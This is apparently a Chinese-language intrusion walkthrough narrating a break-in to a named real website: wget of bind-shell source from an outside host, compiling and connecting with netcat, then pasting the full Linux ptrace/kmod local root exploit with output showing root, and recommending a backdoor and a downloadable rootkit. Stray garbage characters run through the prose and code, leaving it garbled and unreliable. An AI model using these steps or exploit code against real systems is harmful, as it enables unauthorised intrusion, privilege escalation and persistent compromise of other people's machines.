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http://shellcode.org/Shellcode/Linux/shell-bind-shell.c了,4 r' P/ t% d$ w) u
就可以用wget这个命令来下载了,输入 8 h/ r4 ~. r8 J- q$ A1 r* _8 ?
wget http://shellcode.org/Shellcode/Linux/shell-bind-shell.c -P /tmp意思
; b% l% k9 }) G) W7 ^就是下载这个shell.c到/tmp目录下,如图6 ; G! B% W' s, d& j! K5 L6 f
然后ls /tmp得到下面的结果,[www.sealia.com]$ ls /tmpDate: Sat, 29 Jan 2005 22:17:14 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
/ Z7 M9 [ t; d0 w' S, Y3 W2bdlost+foundmremap_pte.cmysql.sockptrace.csess_0a3d59b6da83717a4c05fbc5c6429982sess_12981c19e4cdab7bc426af965e7c85desess_33c246570a69e0846eaaedaef61f0402sess_4eb43cb41a450e8a7d15998fe4e9ef82sess_5c2048e3188733f41bba9a1ab44a4f3bsess_6405a9b3e0a809d7f298ad598f5de180sess_67fc6892112d2d780a092664353dcbbasess_9e3a2581194c05f598543f10294a95edsess_a0332a716e5c0a0932331ce9a5ec64d2sess_a159ec1f21a671d5cfe201c384d8da1csess_c6f579b218f096eb5ba11fdbad90f248sess_cdea344ed2940c99c1fcc146c5322882sess_f1e8e705bb1a6c5197ab61a22442da90shell-bind-shell.cshell-bind-shell.c.1ssh-XX0CyKEcssh-XX7eRJNnssh-XX89utqmssh-XXEmor9Xssh-XXhC36Gwssh-XXpOcVIAssh-XXrhx8enssh-XXss6aKsssh-XXw2rzSs9 G) t9 W9 e Y4 T
这个时候就说明已经成功了,现在我们查找一下gcc在哪里,别到时候闹了半天
5 T( K' P/ v1 o在没有gcc就麻烦了,然后输入whereis -b gcc意思就是查找gcc的全路径输出结果; m& _+ M+ }2 [1 \
[www.sealia.com]$ whereis -b gccDate: Sat, 29 Jan 2005 22:21:06 GMTServer: Apache/1.3.29 (Unix) mod_throttle/3.1.2 PHP/4.3.8 PHP/3.0.18Set-Cookie: sealiakleadata1=|||1|; expires=Sunday, 31-Dec-01 23:59:59 GMT;Set-Cookie: koX8iT3Dda=-kleadata1-;Transfer-Encoding: chunkedContent-Type: text/plain
' \3 n; r% q, ^, E12gcc: /usr/bin/gcc! g3 ^+ y1 {9 b7 Y. w5 J3 A
好了找到gcc了,接下来的事就好办了,编译源程序gcc shell-bind-shell.c -o bind2 [! n+ ?9 [) { Q3 W9 w
编译成功在/tmp目录下多了一个我们编译的bind程序,下面我们就来执行它吧,
- n( E0 {6 n& T2 S s* X& s5 c* G/tmp/bind程序执行的很慢哦.....大概等了1-2分钟程序执行完成,根据程序的介绍我
( W" D( r0 I- f4 C4 S" i5 l6 O% G们知道他开了20000端口,我们telnet 上去吧,telnet www.sealia.com 20000& \4 W' P8 o' J. t4 Z6 f
哈哈连接上了这个时候摸瞎输入id;uname -a 我晕怎么出现"command not found"
- n. @. I2 l& ]呢,我晕了,没错啊,看看源程序吧,找到了最后,哈哈知道了原因,
; C" n1 q! b: R7 b1 m# e1 ONote: To use this you will need to make sure that you append '\n\0' to your entered strings, otherwise you will receive errors saying "command not found".The following is a simple means of doing that: perl -e '$|++;while (<>) { print . "\n\x00"; }' | nc hostname 20000" d! H- H( Z& d/ o
(nc is netcat).好了知道为什么了,我们就换nc提交吧,执行nc -vv www.sealia.com 20000然后出现了C:\WINDOWS\system32>nc -vv www.sealia.com 20000Warning: inverse host lookup failed for 61.100.181.12: h_errno 11004: NO_DATAwww.sealia.com [61.100.181.12] 20000 (?) open在黑暗中输入id输出结果uid=99(nobody) gid=99(nobody) groups=99(nobody)如图7

呵呵到这里我们可爱的流光还在跑呢,跑了将近半个小时了,不等了,关闭它,太浪费资源了,这个时候我大概知道他是一个linux的操作系统,但不知道内核版本输入uname -r 可以看到这个linux的内核iduid=99(nobody) gid=99(nobody) groups=99(nobody)uname -r2.4.20-31.92.4.20的,下面咱们来提升权限吧,就是拿到root,这里说明一下这里有2个很好用的漏洞利用程序,一个是Linux Kernel do_mremap VMA本地权限提升漏洞(漏洞利用程序下载地址_pte.c">http://rhea.oamk.fi/~pyanil00/temp/mremap_pte.c)和Linux kernel 2.2.x - 2.4.x ptrace/kmod local root exploit好了都准备好了,咱们开始提升权限吧,大家先把咱们要利用的程序输入到linux里面cd /tmp;cat >1.c然后复制代码右键输入代码/*" N$ H. F" F% F2 N& m
* Linux kernel ptrace/kmod local root exploit
! |/ _, N- Q1 w*
D r; i" N. W4 B* This code exploits a race condition in kernel/kmod.c, which creates( _( k. n0 j6 F6 r1 h
* kernel thread in insecure manner. This bug allows to ptrace cloned. T/ |2 `7 j9 @( f6 O2 ]
* process, allowing to take control over privileged modprobe binary.
0 F d! F: |- y$ `: l: M& L*
; M5 v" }2 q, C1 ~* Should work under all current 2.2.x and 2.4.x kernels.
' j) m: ~$ ?! G6 ~$ q2 Y0 O*
a$ P7 p7 _7 A7 T0 `3 _* I discovered this stupid bug independently on January 25, 2003, that
* k+ w- y9 b2 [ x* is (almost) two month before it was fixed and published by Red Hat
. S% [) r3 e: m6 N! n3 S* and others.) }5 H) H4 m. Y+ D$ H
*
6 z, s$ K+ M% M* Wojciech Purczynski <cliph@isec.pl>! D9 I0 ~% K' ]
*
& v3 S5 z$ R) h) e9 Y- [6 J. p& ]" e# b* THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*3 H7 C* B! u0 @0 f( h3 H) {
* IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
# G3 U9 l8 n' C( n7 c' O! L*
, K3 f; k! H' D, I$ t4 D* (c) 2003 Copyright by iSEC Security Research
( j. t' {0 b9 M% s1 J1 }*/ #include 6 a' R/ |$ x0 r6 d0 E7 D
#include * U V5 C5 E8 X0 A2 Z
#include
' H# t6 n, [5 F: _' \0 _9 o#include ) ?8 J: [+ [3 ^6 u5 D
#include
% F$ I9 y! w" ^( z+ G7 Z$ E#include & ^! ~3 M* P4 Z9 `& c
#include
3 J6 f3 s3 ~- x+ |) [/ `; n#include
* Z; A* V1 z1 i#include 1 {+ H) i" w' g! C! k
#include
* l$ F/ C" M+ B5 z#include
3 ^- |& B% A* h' t7 ~9 t7 M#include
% n+ Q, \/ h* [. n' o#include 4 r6 F$ s+ @1 B) _: A
#include 2 p ]' ^7 E1 b1 S x3 U P
#include
2 N0 w2 f8 k& q6 f J#include char cliphcode[] =
% d+ ^. G: K) m d; `"\x90\x90\xeb\x1f\xb8\xb6\x00\x00"
' q8 o" G7 @' Z+ f+ L8 F8 u0 j"\x00\x5b\x31\xc9\x89\xca\xcd\x80"
) Q7 z: |4 W' `) C$ n7 Z"\xb8\x0f\x00\x00\x00\xb9\xed\x0d"
S3 s' u& o; g6 `+ R+ p"\x00\x00\xcd\x80\x89\xd0\x89\xd3"
! D7 Q. J [8 o& W"\x40\xcd\x80\xe8\xdc\xff\xff\xff"; #define CODE_SIZE (sizeof(cliphcode) - 1) pid_t parent = 1;* s- m+ u/ x2 {, E) h' N' h/ }$ Z
pid_t child = 1;9 n4 r5 x: I: L1 s! S/ f( a
pid_t victim = 1;5 c4 O) G' ]9 l! w: F3 ~1 x
volatile int gotchild = 0; void fatal(char * msg): @- a8 l+ V' M' z0 R2 n
{3 Y! q6 W8 ^6 o$ [7 ^( b0 s% @5 [
perror(msg);3 G! a3 |. q, g- Z% M8 w
kill(parent, SIGKILL);
$ h" g( j5 W9 K* p) Ukill(child, SIGKILL);& U3 Z9 k, `( j# j; R$ a& I: j: z
kill(victim, SIGKILL);) X! T5 @6 [5 o0 U* J% S1 n
} void putcode(unsigned long * dst): u& M% n* g0 r: e
{
" a0 V5 @/ e' ~ b K6 y2 g) dchar buf[MAXPATHLEN + CODE_SIZE];
+ [* ]1 ]8 X! Q5 \ A7 ^4 V% V( A: nunsigned long * src;
6 @9 W, e# b9 p9 e$ @int i, len; memcpy(buf, cliphcode, CODE_SIZE);& |3 w/ V3 T! Y5 A
len = readlink("/proc/self/exe", buf + CODE_SIZE, MAXPATHLEN - 1);' \1 ]9 u7 R) n' D1 g& X+ o; X
if (len == -1). ]2 H1 H5 o& @( X8 r/ t
fatal("[-] Unable to read /proc/self/exe"); len += CODE_SIZE + 1;
. ]9 |% a' E; n) M! `: fbuf[len] = '\0'; src = (unsigned long*) buf;
! N5 p" E/ |: R: D& U+ mfor (i = 0; i < len; i += 4)
- v. X: Q/ t$ q J: r4 y2 w, Fif (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)! L7 h9 g( h1 |5 }. e! g
fatal("[-] Unable to write shellcode");
! ?4 o6 @; ^: z7 f( j} void sigchld(int signo)
& Y; e! V- j# Y; k* R2 X1 T* z! \{
: ~! P0 z Z* g& W5 x3 ystruct user_regs_struct regs; if (gotchild++ == 0)7 o/ d3 D' M( H
return; fprintf(stderr, "[+] Signal caught\n"); if (ptrace(PTRACE_GETREGS, victim, NULL, 畇) == -1)
5 w+ D0 U4 x7 Z( K: }% J) ofatal("[-] Unable to read registers"); fprintf(stderr, "[+] Shellcode placed at 0x%08lx\n", regs.eip); putcode((unsigned long *)regs.eip); fprintf(stderr, "[+] Now wait for suid shell...\n"); if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)7 U9 S2 W: B0 q3 e2 |/ P
fatal("[-] Unable to detach from victim"); exit(0);
$ k2 `: b1 ^0 g6 j! K" x. E/ n k} void sigalrm(int signo)
. Z5 @* L9 w3 x, a{" c- L9 n+ W) O/ y
errno = ECANCELED;! X% y( { S& @+ |* R( g
fatal("[-] Fatal error");$ d2 k$ v7 O2 K: Y: I* V% }, n
} void do_child(void)$ c9 F" d0 p* W9 ]
{
4 S2 T2 K+ X3 x: S7 S* ]0 ?5 ?& cint err; child = getpid();
1 x: C) }/ Z% [* y+ E: a' Bvictim = child + 1; signal(SIGCHLD, sigchld); do1 j# B, \9 O* O6 a
err = ptrace(PTRACE_ATTACH, victim, 0, 0);" l% e R `% K4 F% I8 o |' w
while (err == -1 && errno == ESRCH); if (err == -1)
, \4 B5 S, L: @# e! {- h, C) ~% Lfatal("[-] Unable to attach"); fprintf(stderr, "[+] Attached to %d\n", victim);
5 t1 E* k L) ]; I$ E4 }, hwhile (!gotchild) ;7 P+ [) C- {5 x$ H) ~" C
if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)' R. C( v# |7 A6 h
fatal("[-] Unable to setup syscall trace");
5 |9 J, l$ I& K6 [# M4 U- ?fprintf(stderr, "[+] Waiting for signal\n"); for(;;);/ P8 Y, d8 u9 f/ M/ M
} void do_parent(char * progname)
R$ d2 u$ V3 l" w{
7 T. K# o4 Z2 R6 [; Z2 ostruct stat st;
i% x3 e( N7 r+ g- Q7 @int err;( z# ?0 r% \3 O. f/ p: g y! d3 P
errno = 0;7 K. V: c; F0 B6 {" M* ^: V( D
socket(AF_SECURITY, SOCK_STREAM, 1);+ h* ^% |- n9 y S6 F5 n: a
do {+ _3 B* ?! }2 R% Y$ t
err = stat(progname, &st);1 ~+ W l2 o8 S& R
} while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID); if (err == -1)" |6 z5 F6 d6 W& q, ~- C
fatal("[-] Unable to stat myself"); alarm(0);' U9 P, p6 U" t
system(progname);
2 i; H9 e1 s8 W} void prepare(void)
4 I6 Z6 n: A) P: k2 F" |{% X" U5 W( O' l4 k
if (geteuid() == 0) {) D2 m; a. z+ D: Z6 R1 J
initgroups("root", 0);( t7 W( b5 b7 d2 Y% s
setgid(0);
7 h# c# d3 ?2 i6 s2 ?- Msetuid(0);
, u/ g4 S$ `# i9 C1 Texecl(_PATH_BSHELL, _PATH_BSHELL, NULL);
" u3 H! H: j7 z# i" A- Ofatal("[-] Unable to spawn shell");
1 F |4 b( ?0 e+ x}# V' b+ }% R$ R6 n: m) t4 }
} int main(int argc, char ** argv)7 g% T3 ~; ?9 n1 m. A/ V. M. r3 I! {
{5 I L: a4 K3 V5 ?
prepare();
3 m. \4 v; j- k- T- m% N% s' {5 N& hsignal(SIGALRM, sigalrm);. f( N4 Z7 O: G8 u1 q% R' N
alarm(10); parent = getpid();
! N3 k7 \6 G' ]" Z( q. r4 fchild = fork();
# x' l2 l* N" R+ n* v" b$ y3 S' Hvictim = child + 1; if (child == -1)
. |6 J5 b5 q; a( \% R. Cfatal("[-] Unable to fork"); if (child == 0)
, |8 x# q C# }# ]9 {do_child();5 w/ w9 D7 T3 x% w* c
else6 Z9 c& G! `9 }3 d, v$ ]/ X
do_parent(argv[0]); return 0;
# t N7 D0 Y/ i+ {4 E: P0 {" I}CRTL+C保存,然后编译gcc 1.c -o 1编译成功,然后输入./1程序开始执行了,-> Parent's PID is 2313. Child's PID is 2314.-> Attaching to 2315...-> Got the thread!!-> Waiting for the next signal...-> Injecting shellcode at 0x4000e85d-> Bind root shell on port 24876... =p-> Detached from modprobe thread.-> Committing suicide..... iduid=0(root) gid=0(root) groups=0(root)哈哈到这个时候我们已经是root了,剩下的工作就是安装后门了,大家可以参考我另外的一篇文章,more.asp?name=cnbird&id=522还有推荐一个不错的rootkitpacketstormsecurity.org/UNIX/penetration/rootkits/lrk5.src.tar.gz好了到这里所有的工作就算已经完成了,其实从入侵中我们可以看出来我们做网站的一定要重视web漏洞,这一点点的小漏洞就可以把能拿到系统的最高权限,可见其危害性,希望国内的网管能够重视起来. |